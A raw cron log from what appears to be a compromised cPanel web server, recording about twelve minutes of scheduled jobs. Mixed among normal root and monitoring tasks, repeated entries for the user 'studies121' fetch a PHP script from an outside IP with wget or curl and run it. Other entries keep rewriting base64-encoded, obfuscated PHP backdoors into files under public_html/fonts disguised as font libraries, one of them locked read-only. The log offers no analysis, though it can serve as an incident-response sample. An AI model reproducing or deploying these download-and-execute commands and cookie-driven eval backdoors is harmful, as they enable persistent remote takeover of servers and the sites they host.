Feb 22 23:10:01 ip-184-168-122-23 CROND[7222]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:10:01 ip-184-168-122-23 CROND[7226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:10:01 ip-184-168-122-23 CROND[7224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:10:01 ip-184-168-122-23 CROND[7227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:10:01 ip-184-168-122-23 CROND[7223]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:10:01 ip-184-168-122-23 CROND[7225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:11:01 ip-184-168-122-23 CROND[7564]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:11:01 ip-184-168-122-23 CROND[7565]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:11:01 ip-184-168-122-23 CROND[7568]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:11:01 ip-184-168-122-23 CROND[7570]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:12:01 ip-184-168-122-23 CROND[7910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:12:01 ip-184-168-122-23 CROND[7912]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:12:01 ip-184-168-122-23 CROND[7915]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:12:01 ip-184-168-122-23 CROND[7916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:12:01 ip-184-168-122-23 CROND[7913]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:13:01 ip-184-168-122-23 CROND[8236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:13:01 ip-184-168-122-23 CROND[8240]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:13:01 ip-184-168-122-23 CROND[8242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:13:01 ip-184-168-122-23 CROND[8243]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:14:01 ip-184-168-122-23 CROND[8629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:14:02 ip-184-168-122-23 CROND[8634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:14:02 ip-184-168-122-23 CROND[8632]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:14:02 ip-184-168-122-23 CROND[8636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:14:02 ip-184-168-122-23 CROND[8635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8950]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8954]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8955]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:15:01 ip-184-168-122-23 CROND[8956]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:16:01 ip-184-168-122-23 CROND[9295]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:16:01 ip-184-168-122-23 CROND[9297]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:16:01 ip-184-168-122-23 CROND[9296]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:16:01 ip-184-168-122-23 CROND[9301]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:16:01 ip-184-168-122-23 CROND[9303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:16:01 ip-184-168-122-23 CROND[9302]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 23:17:01 ip-184-168-122-23 CROND[9621]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:17:01 ip-184-168-122-23 CROND[9623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:17:01 ip-184-168-122-23 CROND[9625]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:17:01 ip-184-168-122-23 CROND[9624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:18:01 ip-184-168-122-23 CROND[9953]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:18:01 ip-184-168-122-23 CROND[9956]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:18:01 ip-184-168-122-23 CROND[9957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:18:01 ip-184-168-122-23 CROND[9955]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:18:01 ip-184-168-122-23 CROND[9958]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:19:01 ip-184-168-122-23 CROND[10281]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:19:01 ip-184-168-122-23 CROND[10283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:19:01 ip-184-168-122-23 CROND[10286]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:19:01 ip-184-168-122-23 CROND[10285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10671]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 23:20:01 ip-184-168-122-23 CROND[10673]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10675]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:20:01 ip-184-168-122-23 CROND[10681]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10676]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10680]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:20:01 ip-184-168-122-23 CROND[10678]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 23:21:01 ip-184-168-122-23 CROND[11003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 23:21:01 ip-184-168-122-23 CROND[11004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 23:21:01 ip-184-168-122-23 CROND[11005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 23:21:01 ip-184-168-122-23 CROND[11006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 23:22:01 ip-184-168-122-23 CROND[11318]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
